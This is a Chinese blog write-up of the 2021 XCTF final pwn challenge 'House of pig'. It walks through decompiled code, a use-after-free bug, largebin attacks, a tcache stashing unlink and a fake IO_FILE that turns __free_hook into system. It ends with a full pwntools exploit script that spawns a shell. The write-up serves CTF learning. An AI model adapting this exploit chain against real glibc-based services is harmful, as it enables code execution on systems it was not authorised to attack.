2021-XCTF-final题解

字数统计: 3.6k字   |   阅读时长≈ 18分

2021 XCTF-final，就看了三道题。house-of-pig帮助我回忆了largbin-attack和Tcache-stashing-unlink攻击。

House of pig

程序分析

程序总体实现了一个菜单题，可以增加，删除，修改，输出堆块内容。但是总共分为三种类型，第一种只能修改堆块的前 0x10个字节，第二种只能修改堆块的0x10-0x20个字节，第三种只能修改堆块的0x20-0x30个字节。申请的堆块范围为 0x8f - 0x440。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
unsigned __int64 __fastcall add_3(__int64 a1)
{
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  _BYTE *v5; // ST20_8
  __int64 v6; // rax
  __int64 v7; // rax
  signed int i; // [rsp+10h] [rbp-20h]
  int j; // [rsp+14h] [rbp-1Ch]
  int size; // [rsp+18h] [rbp-18h]
  unsigned __int64 v12; // [rsp+28h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  for ( i = 0; i <= 4 && *(_QWORD *)(a1 + 8LL * i); ++i )
    ;
  if ( i == 5 )
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    if ( *((_DWORD *)mmap_addr + 0x100) <= 143 )
      *((_DWORD *)mmap_addr + 0x100) = 144;
    std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
    size = get_num();
    if ( size > 143 && size <= 0x440 )
    {
      *((_DWORD *)mmap_addr + 256) = size;
      *(_QWORD *)(a1 + 8LL * i) = calloc(1uLL, size);
      if ( !*(_QWORD *)(a1 + 8LL * i) )
      {
        v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
        exit(-1);
      }
      *(_DWORD *)(a1 + 4 * (i + 0x30LL)) = size;
      *(_BYTE *)(a1 + i + 0x120) = 0;
      *(_BYTE *)(a1 + i + 0x138) = 0;
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
      for ( j = 0; j < size / 48; ++j )
        get_input((_BYTE *)(*(_QWORD *)(a1 + 8LL * i) + 48 * j + 32LL), 16LL);
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      if ( i == 4 )
      {
        v5 = calloc(1uLL, 0xE8uLL);
        v6 = std::operator<<<std::char_traits<char>>(&std::cout, "01dwang's Gift:");
        std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
        get_pwd(v5, 232LL);                     // input pwd
        v7 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
        std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
      }
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  return __readfsqword(0x28u) ^ v12;
}

这里在 创建第三类堆块时，如果创建了5次，则会触发一个后门函数 calloc(0xe8)。

还有一个切换角色的功能，可以切换三种角色。这里就存在漏洞点：

1
2
3
4
5
6
7
8
9
10
unsigned __int64 __fastcall change_role(__int64 a1)
{
  unsigned __int64 v1; // ST18_8

  v1 = __readfsqword(0x28u);
  memcpy((void *)mmap_addr, (const void *)a1, 0xC0uLL);
  memcpy((char *)mmap_addr + 0xC0, (const void *)(a1 + 0xC0), 0x60uLL);
  memcpy((char *)mmap_addr + 0x138, (const void *)(a1 + 312), 0x18uLL);
  return __readfsqword(0x28u) ^ v1;
}

这里用 mmap_addr作为一个全局变量来存储 角色的属性，当要从一个角色切换到另一个角色的时候，会先将当前角色的属性拷贝到 mmap_addr，然后再从 mmap_addr中将要切换的角色属性拷贝到 全局结构体中。这里存在的问题是，在切换角色保存当前角色属性时，并没有将所有属性保存成功。从下可以看到，当执行 delete函数时，会将全局属性中该堆块 idx+288 和 idx+312 的字节写为 1，以表示该堆块被删除。但是 在保存属性时却没有保存这些属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall del1(__int64 a1)
{
  __int64 v1; // rax
  __int64 v2; // rax
  int idx; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
  idx = get_num();
  if ( idx >= 0 && idx <= 19 )
  {
    if ( *(_QWORD *)(a1 + 8LL * idx) && !*(_BYTE *)(a1 + idx + 0x120) && !*(_BYTE *)(a1 + idx + 0x138) )
    {
      free(*(void **)(a1 + 8LL * idx));
      *(_BYTE *)(a1 + idx + 288) = 1;
      *(_BYTE *)(a1 + idx + 312) = 1;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v5;
}

如果我们现在角色1，将堆块删除，然后切换到角色2 申请堆块，将 全局变量中该堆块的 标识位改为0。然后再切换为 角色1，就可以实现对已释放的堆块 UAF漏洞。

利用分析

这道题的利用比较负责，主要涉及的 largebin attack来对一个任意地址写上 堆地址，利用 tcache stashing unlink来分配一个任意地堆块地址，利用 IO_FILE来 触发一个 malloc流程。

地址泄漏

这里地址泄漏比较简单，直接利用 UAF即可泄漏。这里可以选择 一个 largebin来泄漏，即可同时泄漏 libc地址和 heap地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#calloc申请5个0xa0堆块，并放入 tcache
Change(2)
for x in xrange(5):
    Add(0x90, 'B'*0x28) # B0~B4
    Del(x)    # B0~B4

#role1 calloc(0x150)，用于切割出0xa0的small bin chunk
Change(1)
Add(0x150, 'A'*0x68) # A0
#填充0x160 tcache，使得 A0进入 unsortedbin
for x in xrange(7):
    Add(0x150, 'A'*0x68) # A1~A7
    Del(1+x)
#A0放入 unsortedbin
Del(0)

#切割 A0，剩余0xa0放入smallbin
Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0

#同样道理 利用0x190切割 0xa0放入 smallbin
Change(1)
Add(0x180, 'A'*0x78) # A8
for x in xrange(7):
    Add(0x180, 'A'*0x78) # A9~A15
    Del(9+x)
Del(8)

Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0

print("p to leak base and heap base")
#----- leak libc_base and heap_base
#role1 calloc(0x430)，用于放入largbin，泄漏地址
Change(1)
Add(0x430, 'A'*0x158) # A16

#间隔top chunk
Change(2)
Add(0xf0, 'B'*0x48) # B7

#释放
Change(1)
Del(16)

#使 A16 进入 largebin
Change(2)
Add(0x440, 'B'*0x158) # B8
#利用 UAF先泄漏 libc地址
print("uaf to leak")
Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
#利用UAF泄漏glibc地址
Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')

Largebin attack

随后，这里需要利用两次 largebin attack来向两个关键地方写上堆地址。

第一处需要修改 free_hook-0x8处 写上 堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
print("---> 1 largbin attack to change __free_hook-8")
#----- first largebin_attack
#修复上面为了泄漏地址对largebin的破坏
Edit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover
Add(0x430, 'A'*0x158) # A17
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19

Change(2)
#释放 0x450堆块 chunk8
Del(8)
#使得 chunk8 进入 largebin
Add(0x450, 'B'*0x168) # B9

#释放0x440堆块进入 unsortedbin，其size 小于 chunk8
Change(1)
Del(17)
#修改chunk8->bk_nextsize = free_hook-0x28
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + '\n')
#触发largebin attack
Change(3)
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
#修复chunk8
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover

这里由于是用到 2.31的 largebin attack，所以只剩下一条路径可以实现向任意地址写入一个堆地址。

这里需要两个堆块，chunk1位于largebin中，chunk2位于unsortedbin中，chunk1的size比chunk2大。修改 chunk1->bk_nextsize = target_addr-0x28，然后申请一个比 chunk1和chunk2的size都小的堆块，此时会先将 chunk2放入 largebin中，达到将 target_addr-0x28+0x20修改为 chunk1堆地址的效果。

这里最终实现了将 free_hook-8的地方留下了 chunk1的堆地址。

第二处需要修改_IO_list_all

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
print("---> 2 largebin attack to change _IO_list_all")
#----- second largebin_attack
#将unsortedbin 清空
Change(3)
Add(0x380, 'C'*0x118) # C1
#释放0x440到unsortedbin中
Change(1)
Del(19)
#修改chunk8->bk_nextsize = io_list_all-0x20
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')
#触发largebin attack
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
#修复largebin
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover

再次利用之前的 chunk8来实现 largebin attack，修改_IO_list_all为 chunk8的地址。

接着就是需要利用 tcache stashing unlink来将一个伪造的堆地址写到 tcache链中，实现任意分配一个堆块。

这里首先需要明确，选择伪造堆地址是 free_hook-8的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
print("==== tcache stashing unlink attack and FILE attack")
#----- tcache_stashing_unlink_attack and FILE attack
#修改smallbin 中的第一个chunk的 bk指针为 free_hook-0x20,smallbin: chunk8->chunk7
Change(1)
payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + '\n')

#申请largebin中的chunk8,用来伪造一个FILE结构体，并将FILE结构体的chain指针指向另一个伪造的FILE结构体堆块，这里不直接用它伪造是因为该堆块只能限制写
Change(3)
payload = '\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, '\x00')
print("change fake FILE chain")
Add(0x440, payload) # C3 change fake FILE _chain

#触发tcache stashing unlink
print("triger tcache_stashing_unlink")
gdb.attach(io, 'bp $rebase(0x3761)')
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache

接着就是触发 tcache stashing unlink攻击。这里需要修改 smallbin中 chunk8->chunk7中 chunk8->bk指针指向一个伪造地址free_hook-0x20。然后调用一个 calloc(0x90) 触发，会将 fake_chunk->chunk8放入 tcache中。这里需要保证伪造的 chunk的 bk位置能够可写，而这里我们之前已经通过一个 largebin attack将 free_hook-8的地方写上了 一个堆地址，所以这里能够成功通过检查。

IO_FILE 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0)                #v4
fake_IO_FILE += p64(heap_base+0x148b8)                #v5
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable)        #change vtable
payload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)
print('IO attack')
sa('Gift:', payload)

最后就是去触发这个 后门，使用 calloc分配一个 0xa0的堆块，写上伪造的 IO_FILE数据。

这里的 fake_IO_FILE数据需要保证 _IO_write_base=1，_IO_write_ptr = 0xffffffff， 将 vtable改为 _IO_str_vtable。

最后去触发一个 exit函数。

getshell流程

这里讲一下调试时的 IO_FILE攻击流程。这里最后触发了 exit流程，最后会调用 _IO_flush_all_lockp函数来遍历 FILE结构体，来决定是否要刷新输出 FILE结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF) //调用 vtable中的 overflow指针
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}

这里会从IO_list_all进入，并且调用 overflow指针。这里第一个 fake_IO并不会进入该流程，因为该流程就是一个 chunk8。随后会顺着该 FILE的 chain找到下一个 FILE。

这里的第二个 FILE刚好就是 我们用后门 calloc分配出来的chunk。这里使得其 mode=0，write_ptr>write_base，且数据为 /bin/sh\x00。并且修改其 vtable指向了IO_str_jumps。所以最终 能够去执行 __GI__IO_str_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf = malloc (new_size);
	  if (new_buf == NULL)
	    {
	      /*	  __ferror(fp) = 1; */
	      return EOF;
	    }
	  if (old_buf)
	    {
	      memcpy (new_buf, old_buf, old_blen);
	      free (old_buf);
	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
	      fp->_IO_buf_base = NULL;
	    }
	  memset (new_buf + old_blen, '\0', new_size - old_blen);

	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

	  fp->_IO_write_base = new_buf;
	  fp->_IO_write_end = fp->_IO_buf_end;
	}
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

可以看到这个函数中，有一个 malloc函数，该函数的 size，是由 (IO_buf_end - IO_buf_base)*2 + 100。这里由于 IO_buf_end和IO_buf_base都可以由我们伪造，所以可以确定 malloc的 size为 0xa0。此时就会刚好分配我们 之前通过 tcache stashing unlink伪造到 0xa0的 tcache，这个堆块刚好是 free_hook-0x20。然后，可以看到最后还有一个 memcpy函数，其会将old_buf即fp->_IO_buf_base的数据拷贝到 new_buf中。而这里我们之前在 fp->_IO_buf_base处写上了 /bin/sh\x00+p64(system)的数据。

所以，最终会将 free_hook修改为system。而紧接着可以看到有一个 free函数，参数为之前申请的 chunk。所以这里最后会调用 free_hook来 getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
from pwn import *
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'

io = process('./pig')
# io = remote('182.92.203.154', 35264)
elf = ELF('./pig')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, '\x00'))
uu64 = lambda data        : u64(data.ljust(8, '\x00'))


def Menu(cmd):
    sla('Choice: ', str(cmd))

def Add(size, content):
    Menu(1)
    sla('size: ', str(size))
    sla('message: ', content)

def Show(idx):
    Menu(2)
    sla('index: ', str(idx))

def Edit(idx, content):
    Menu(3)
    sla('index: ', str(idx))
    sa('message: ', content)

def Del(idx):
    Menu(4)
    sla('index: ', str(idx))

def Change(user):
    Menu(5)
    if user == 1:
        sla('user:\n', 'A\x01\x95\xc9\x1c')
    elif user == 2:
        sla('user:\n', 'B\x01\x87\xc3\x19')
    elif user == 3:
        sla('user:\n', 'C\x01\xf7\x3c\x32')

# gdb.attach(io, 'bp $rebase(0x3761)')
#----- prepare tcache_stashing_unlink_attack
Change(2)
for x in xrange(5):
    Add(0x90, 'B'*0x28) # B0~B4
    Del(x)    # B0~B4

Change(1)
Add(0x150, 'A'*0x68) # A0
for x in xrange(7):
    Add(0x150, 'A'*0x68) # A1~A7
    Del(1+x)
Del(0)

Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0

Change(1)
Add(0x180, 'A'*0x78) # A8
for x in xrange(7):
    Add(0x180, 'A'*0x78) # A9~A15
    Del(9+x)
Del(8)

Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
print("p to leak base and heap base")
#----- leak libc_base and heap_base
Change(1)
Add(0x430, 'A'*0x158) # A16

Change(2)
Add(0xf0, 'B'*0x48) # B7

Change(1)
Del(16)

Change(2)
Add(0x440, 'B'*0x158) # B8
print("uaf to leak")
Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')

Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')

print("---> 1 largbin attack to change __free_hook-8")
#----- first largebin_attack
Edit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover
Add(0x430, 'A'*0x158) # A17
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19

Change(2)
Del(8)
Add(0x450, 'B'*0x168) # B9

Change(1)
Del(17)

Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + '\n')

Change(3)
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8

Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover

print("---> 2 largebin attack to change _IO_list_all")
#----- second largebin_attack
Change(3)
Add(0x380, 'C'*0x118) # C1

Change(1)
Del(19)

Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')

Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all

Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover

print("==== tcache stashing unlink attack and FILE attack")
#----- tcache_stashing_unlink_attack and FILE attack
Change(1)
payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + '\n')

Change(3)
payload = '\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, '\x00')
print("change fake FILE chain")
Add(0x440, payload) # C3 change fake FILE _chain
print("triger tcache_stashing_unlink")
gdb.attach(io, 'bp $rebase(0x3761)')
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache

IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0)                #v4
fake_IO_FILE += p64(heap_base+0x148b8)                #v5
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable)        #change vtable
payload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)
print('IO attack')
sa('Gift:', payload)

Menu(5)
sla('user:\n', '')

irt()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing